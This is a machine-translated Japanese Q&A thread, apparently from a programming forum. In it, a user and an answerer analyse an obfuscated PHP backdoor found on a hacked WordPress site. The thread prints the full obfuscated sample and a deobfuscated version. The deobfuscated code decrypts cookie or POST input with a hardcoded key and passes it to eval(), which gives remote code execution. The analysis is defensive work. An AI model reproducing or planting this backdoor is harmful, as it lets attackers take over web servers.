2016-05-04 20 views
-5

WordPressを使用している私のクライアントの1人が、以下のような悪意のあるコードでハッキングしています。このようなファイルが彼女のpublic_htmlにたくさんあります。私はすべてを削除してすべてを再アップロードし、フレームワーク、プラグインなどを更新するように言ったが、コードをどのように難読化できないかを知りたい。WordPressの難読化スクリプト

なぜですか?私のVPSプロバイダは、いくつかのニュースチャンネルに私のIP(メインサーバ)を使っていくつかのハッキング試みが行われたと私に言いました。そして、私はこの種の活動から立ち止まるべきですか、単に私のVPSを中止します。

誰も私に正確なコードを知らせることができたので、どのような悪影響が及ぼされているのかを分析することができます。

私はまだ何らかの方法で検出されたIPをブロックするCSAを行っています。

<?php  
$GLOBALS['efaa04'] = "\x3e\x9\x2c\x46\x67\x37\x52\x32\x7d\x53\x6c\x7b\x61\x29\x6e\x68\x4f\x3f\x40\x50\x3d\x71\x6a\x54\x30\x76\x59\x25\x2b\x73\x2d\x28\x7c\x66\x23\x65\x5d\x58\x5a\x22\x64\x33\x57\x69\x5b\x63\x26\x4b\x51\x78\x4e\x2e\x62\x35\x7e\x5c\x42\x45\x47\x31\x36\x2a\x3a\x4a\x6f\x77\x5f\x39\x21\xa\x2f\x75\x41\x79\x4d\x55\x5e\x7a\x34\x44\x48\xd\x3c\x20\x49\x60\x74\x24\x4c\x43\x27\x6d\x56\x72\x70\x6b\x38\x3b"; 

$GLOBALS[$GLOBALS['efaa04'][91].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][40].$GLOBALS['efaa04'][33].$GLOBALS['efaa04'][41].$GLOBALS['efaa04'][12]] = $GLOBALS['efaa04'][45].$GLOBALS['efaa04'][15].$GLOBALS['efaa04'][93]; 

$GLOBALS[$GLOBALS['efaa04'][71].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][24]] = $GLOBALS['efaa04'][64].$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][40]; 

$GLOBALS[$GLOBALS['efaa04'][49].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][24].$GLOBALS['efaa04'][45].$GLOBALS['efaa04'][96]] = $GLOBALS['efaa04'][29].$GLOBALS['efaa04'][86].$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][10].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][14]; 
$GLOBALS[$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][33].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][53]] = $GLOBALS['efaa04'][43].$GLOBALS['efaa04'][14].$GLOBALS['efaa04'][43].$GLOBALS['efaa04'][66].$GLOBALS['efaa04'][29].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][86]; 
$GLOBALS[$GLOBALS['efaa04'][14].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][52].$GLOBALS['efaa04'][67]] = $GLOBALS['efaa04'][29].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][43].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][10].$GLOBALS['efaa04'][43].$GLOBALS['efaa04'][77].$GLOBALS['efaa04'][35]; 
$GLOBALS[$GLOBALS['efaa04'][73].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][40].$GLOBALS['efaa04'][60]] = $GLOBALS['efaa04'][94].$GLOBALS['efaa04'][15].$GLOBALS['efaa04'][94].$GLOBALS['efaa04'][25].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][29].$GLOBALS['efaa04'][43].$GLOBALS['efaa04'][64].$GLOBALS['efaa04'][14]; 
$GLOBALS[$GLOBALS['efaa04'][15].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][33].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][96]] = $GLOBALS['efaa04'][71].$GLOBALS['efaa04'][14].$GLOBALS['efaa04'][29].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][43].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][10].$GLOBALS['efaa04'][43].$GLOBALS['efaa04'][77].$GLOBALS['efaa04'][35]; 
$GLOBALS[$GLOBALS['efaa04'][22].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][40]] = $GLOBALS['efaa04'][52].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][29].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][66].$GLOBALS['efaa04'][40].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][45].$GLOBALS['efaa04'][64].$GLOBALS['efaa04'][40].$GLOBALS['efaa04'][35]; 
$GLOBALS[$GLOBALS['efaa04'][73].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][35]] = $GLOBALS['efaa04'][29].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][86].$GLOBALS['efaa04'][66].$GLOBALS['efaa04'][86].$GLOBALS['efaa04'][43].$GLOBALS['efaa04'][91].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][66].$GLOBALS['efaa04'][10].$GLOBALS['efaa04'][43].$GLOBALS['efaa04'][91].$GLOBALS['efaa04'][43].$GLOBALS['efaa04'][86]; 
$GLOBALS[$GLOBALS['efaa04'][86].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][67].$GLOBALS['efaa04'][41].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][60]] = $GLOBALS['efaa04'][21].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][59]; 
$GLOBALS[$GLOBALS['efaa04'][86].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][67].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][45]] = $GLOBALS['efaa04'][14].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][59]; 
$GLOBALS[$GLOBALS['efaa04'][71].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][33].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][67].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][33]] = $_POST; 
$GLOBALS[$GLOBALS['efaa04'][91].$GLOBALS['efaa04'][52].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][67].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][33]] = $_COOKIE; 
@$GLOBALS[$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][33].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][53]]($GLOBALS['efaa04'][35].$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][64].$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][66].$GLOBALS['efaa04'][10].$GLOBALS['efaa04'][64].$GLOBALS['efaa04'][4], NULL); 
@$GLOBALS[$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][33].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][53]]($GLOBALS['efaa04'][10].$GLOBALS['efaa04'][64].$GLOBALS['efaa04'][4].$GLOBALS['efaa04'][66].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][64].$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][29], 0); 
@$GLOBALS[$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][33].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][53]]($GLOBALS['efaa04'][91].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][49].$GLOBALS['efaa04'][66].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][49].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][45].$GLOBALS['efaa04'][71].$GLOBALS['efaa04'][86].$GLOBALS['efaa04'][43].$GLOBALS['efaa04'][64].$GLOBALS['efaa04'][14].$GLOBALS['efaa04'][66].$GLOBALS['efaa04'][86].$GLOBALS['efaa04'][43].$GLOBALS['efaa04'][91].$GLOBALS['efaa04'][35], 0); 
@$GLOBALS[$GLOBALS['efaa04'][73].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][35]](0); 

$n1f035 = NULL; 
$la02268b = NULL; 

$GLOBALS[$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][24].$GLOBALS['efaa04'][40].$GLOBALS['efaa04'][41].$GLOBALS['efaa04'][59]] = $GLOBALS['efaa04'][78].$GLOBALS['efaa04'][41].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][30].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][52].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][30].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][40].$GLOBALS['efaa04'][45].$GLOBALS['efaa04'][41].$GLOBALS['efaa04'][30].$GLOBALS['efaa04'][67].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][67].$GLOBALS['efaa04'][30].$GLOBALS['efaa04'][52].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][41].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][24].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][33]; 
global $ea0d31; 

function n6ee1($n1f035, $f3ddc0) 
{ 
    $kdaf = ""; 

    for ($v40207=0; $v40207<$GLOBALS[$GLOBALS['efaa04'][49].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][24].$GLOBALS['efaa04'][45].$GLOBALS['efaa04'][96]]($n1f035);) 
    { 
     for ($w6efcf7b=0; $w6efcf7b<$GLOBALS[$GLOBALS['efaa04'][49].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][24].$GLOBALS['efaa04'][45].$GLOBALS['efaa04'][96]]($f3ddc0) && $v40207<$GLOBALS[$GLOBALS['efaa04'][49].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][24].$GLOBALS['efaa04'][45].$GLOBALS['efaa04'][96]]($n1f035); $w6efcf7b++, $v40207++) 
     { 
      $kdaf .= $GLOBALS[$GLOBALS['efaa04'][91].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][40].$GLOBALS['efaa04'][33].$GLOBALS['efaa04'][41].$GLOBALS['efaa04'][12]]($GLOBALS[$GLOBALS['efaa04'][71].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][24]]($n1f035[$v40207])^$GLOBALS[$GLOBALS['efaa04'][71].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][24]]($f3ddc0[$w6efcf7b])); 
     } 
    } 

    return $kdaf; 
} 

function q471($n1f035, $f3ddc0) 
{ 
    global $ea0d31; 

    return $GLOBALS[$GLOBALS['efaa04'][86].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][67].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][45]]($GLOBALS[$GLOBALS['efaa04'][86].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][67].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][45]]($n1f035, $ea0d31), $f3ddc0); 
} 

foreach ($GLOBALS[$GLOBALS['efaa04'][91].$GLOBALS['efaa04'][52].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][67].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][33]] as $f3ddc0=>$tf250bbad) 
{ 
    $n1f035 = $tf250bbad; 
    $la02268b = $f3ddc0; 
} 

if (!$n1f035) 
{ 
    foreach ($GLOBALS[$GLOBALS['efaa04'][71].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][33].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][67].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][33]] as $f3ddc0=>$tf250bbad) 
    { 
     $n1f035 = $tf250bbad; 
     $la02268b = $f3ddc0; 
    } 
} 

$n1f035 = @$GLOBALS[$GLOBALS['efaa04'][15].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][33].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][96]]($GLOBALS[$GLOBALS['efaa04'][86].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][67].$GLOBALS['efaa04'][41].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][60]]($GLOBALS[$GLOBALS['efaa04'][22].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][40]]($n1f035), $la02268b)); 
if (isset($n1f035[$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][95]]) && $ea0d31==$n1f035[$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][95]]) 
{ 
    if ($n1f035[$GLOBALS['efaa04'][12]] == $GLOBALS['efaa04'][43]) 
    { 
     $v40207 = Array(
      $GLOBALS['efaa04'][94].$GLOBALS['efaa04'][25] => @$GLOBALS[$GLOBALS['efaa04'][73].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][40].$GLOBALS['efaa04'][60]](), 
      $GLOBALS['efaa04'][29].$GLOBALS['efaa04'][25] => $GLOBALS['efaa04'][59].$GLOBALS['efaa04'][51].$GLOBALS['efaa04'][24].$GLOBALS['efaa04'][30].$GLOBALS['efaa04'][59], 
     ); 
     echo @$GLOBALS[$GLOBALS['efaa04'][14].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][52].$GLOBALS['efaa04'][67]]($v40207); 
    } 
    elseif ($n1f035[$GLOBALS['efaa04'][12]] == $GLOBALS['efaa04'][35]) 
    { 
     eval($n1f035[$GLOBALS['efaa04'][40]]); 
    } 
    exit(); 
} 

http://localhost/script.php?testGet=sssでそれを解読しようとしましたし、私は私のクライアントにそれらをバックアップからすべてのファイルと再アップロードを削除すると言った

Array 
(
    [_GET] => Array 
     (
      [testGet] => sss 
     ) 

    [_POST] => Array 
     (
     ) 

    [_COOKIE] => Array 
     (
     ) 

    [_FILES] => Array 
     (
     ) 

    [GLOBALS] => Array 
*RECURSION* 
    [efaa04] => > ,Fg7R2}Sl{a)[email protected]=qjT0vY%+s-(|f#e]XZ"d3Wi[c&KQxN.b5~\BEG16*:Jow_9! 
/uAyMU^z4DH 
< I`t$LC'mVrpk8; 
    [m56df3a] => chr 
    [ue8410] => ord 
    [x6a870c8] => strlen 
    [rfa65] => ini_set 
    [ne6255ab9] => serialize 
    [y648d6] => phpversion 
    [h8f865758] => unserialize 
    [j51e1d] => base64_decode 
    [y8512e] => set_time_limit 
    [t4193646] => q471 
    [t297c] => n6ee1 
    [uaf6e192f] => Array 
     (
     ) 

    [mb1694f] => Array 
     (
     ) 

    [n1f035] => 
    [la02268b] => 
    [ea0d31] => 435a677a-8b6e-4dc3-92e9-b2746832025f 
) 

got here 
got not set n1f035 
got q471string(0) "" 
got n6ee1 : => 435a677a-8b6e-4dc3-92e9-b2746832025f 
strlen 
NULL string(0) "" 
got n6ee1 : => 
strlen 
NULL string(0) "" string(0) "" 
got n6ee1 : => 435a677a-8b6e-4dc3-92e9-b2746832025f 
strlen 
NULL string(0) "" 
got n6ee1 : => 
strlen 
NULL bool(false) 

なりました。私が言ったように、私は非常に多くのC99madshell(生)を見つけましたが、この種のものは難読化の方法で同じです。

悪意のあるコードを検索して削除することで保護する方法を見つけました。 chattr -R +i ./public_htmlのようなコマンドを実行すると、まだ内部に多くのバックドアスクリプトが存在するとは思えますが、停止したようです。しかし、もし私が上記の正確なコードを知っていれば良いでしょう。

+0

私はどのように難読化するのか分かりませんが、この行はコマンドです: 'eval($ n1f035 [$ GLOBALS ['efaa04'] [40]]); – vaso123

+0

この悪質なコードを単に削除するとどうなりますか?それは戻ってくる?私は先週ハッキングして、偽のプラグインをインストールさせてしまったので、あなたのプラグインリストをチェックしてください...(どんな "eval"でも悪魔です)。あなたはwpを保護するために "Wordfence"を使うかもしれません... – Random

+0

@lolka_bolka私はそれをダンプしようとしましたが、特定のコードブロックが実行されていないようです....そして$ n1f035は(ブール)偽を持っているようです – farness

答えて

0

私は@Epodaxに同意します.SOはセキュリティコンサルティングサイトではありませんが、非難読化に関する議論は価値があり、多くの人がそれを多く学ぶことができたと思います。

私はまだスクリプトが何をしているのか分かりませんでした。私は空き時間を見つけてゆっくりと作業しましたが、これまでのところ進歩を共有したいと思っています。

最初に私はPsysh, an interactive PHP shellを使用して、$GLOBALS['efaa04']要素のすべての連結を取得し、より簡単にしました。最初の行$GLOBALS['efaa04'] = "\x3e\x9\x2c\x46\x67\x37\x52\x32\x7d\x53\x6c\x7b\x61\x29\x6e\x68\x4f\x3f\x40\x50\x3d\x71\x6a\x54\x30\x76\x59\x25\x2b\x73\x2d\x28\x7c\x66\x23\x65\x5d\x58\x5a\x22\x64\x33\x57\x69\x5b\x63\x26\x4b\x51\x78\x4e\x2e\x62\x35\x7e\x5c\x42\x45\x47\x31\x36\x2a\x3a\x4a\x6f\x77\x5f\x39\x21\xa\x2f\x75\x41\x79\x4d\x55\x5e\x7a\x34\x44\x48\xd\x3c\x20\x49\x60\x74\x24\x4c\x43\x27\x6d\x56\x72\x70\x6b\x38\x3b";を実行してから、この配列要素を使用する部分をエコーし​​て、その意味を理解してください。このような

一部の行が明らかになった。その後

$GLOBALS["x6a870c8"] = "strlen"; 
$GLOBALS["rfa65"] = "ini_set"; 
$GLOBALS["ne6255ab9"] = "serialize"; 
$GLOBALS["y648d6"] = "phpversion"; 
$GLOBALS["h8f865758"] = "unserialize"; 
... 

を私はini_setstrlen$GLOBALS["x6a870c8"]$GLOBALS["rfa65"]を置き換えるというように、これは私がこれまでに得たものである:

<?php  
@ini_set("error_log", NULL); 
@ini_set("log_errors", 0); 
@ini_set("max_execution_time", 0); 
@set_time_limit(0); 

$n1f035 = NULL; 
$la02268b = NULL; 

$GLOBALS["ea0d31"] = "435a677a-8b6e-4dc3-92e9-b2746832025f"; 
global $ea0d31; 

function n6ee1($n1f035, $f3ddc0) 
{ 
    $kdaf = ""; 

    for ($v40207=0; $v40207 < strlen($n1f035);) 
    { 
     for ($w6efcf7b=0; $w6efcf7b < strlen($f3ddc0) && $v40207 < strlen($n1f035); $w6efcf7b++, $v40207++) 
     { 
      $kdaf .= chr(ord($n1f035[$v40207])^ord($f3ddc0[$w6efcf7b])); 
     } 
    } 

    return $kdaf; 
} 

function q471($n1f035, $f3ddc0) 
{ 
    global $ea0d31; 

    return n6ee1(n6ee1($n1f035, $ea0d31), $f3ddc0); 
} 

foreach ($_COOKIE as $f3ddc0=>$tf250bbad) 
{ 
    $n1f035 = $tf250bbad; 
    $la02268b = $f3ddc0; 
} 

if (!$n1f035) 
{ 
    foreach ($_POST as $f3ddc0=>$tf250bbad) 
    { 
     $n1f035 = $tf250bbad; 
     $la02268b = $f3ddc0; 
    } 
} 

$n1f035 = @unserialize(q471(base64_decode($n1f035), $la02268b)); 
if (isset($n1f035["ak"]) && $ea0d31==$n1f035["ak"]) 
{ 
    if ($n1f035["a"] == "i") 
    { 
     $v40207 = Array(
      "pv" => @phpversion(), 
      "sv" => "1.0-1", 
     ); 
     echo @serialize($v40207); 
    } 
    elseif ($n1f035["a"] == "e") 
    { 
     eval($n1f035["d"]); 
    } 
    exit(); 
} 

脱難読化は難しいかもしれませんが、それはあなたの視点にかかっています。それをパズルのように考えてください。次のステップは、これを整理して、ヴァールと関数の名前をよりフレンドリーなものに変更することです。

あなたのクライアントのサイトを固定して安全に保つことはあなたの宿題ですが、難読化とそのための技術についての議論を楽しみにしています。

ヒント:find . -type f -printf '%[email protected] %TY-%Tm-%Td %TH:%TM:%.2TS %p\n' | sort -nr | head -n 25 | cut -f2- -d" "を使用して、サーバー上の最新の25個の変更ファイルを一覧表示します。必要に応じて番号を増やすことができます。私は感染したファイルが同じ日に変更されたか、少なくとも日付を終了したと推測します。そのため、現時点ではきれいに拭くことはできません。

+0

多くのありがとう@Paulera ...私は心に留めている2つのこと... 1.このファイルはちょうどクラスタ、このタイプのファイルの3つまたは4つは一緒に動作するかもしれません2.それはGET、 POSTなど...そしてあなたのヒントをもう一度ありがとう...しかし、いくつかのボディは、ファイルのタイミングを変更するタッチコマンドを実行する場合はまだ動作しますか? – farness

+0

$ _COOKIESが使用されているため、クライアント側の部分が関与しているのではないでしょうか。より深く掘り下げることを楽しみにしています。そして、もしあなたが単にファイルに触れると、最近変更されたので、このコマンドで検索されます。 –

+0

本当に大きな助けになります – farness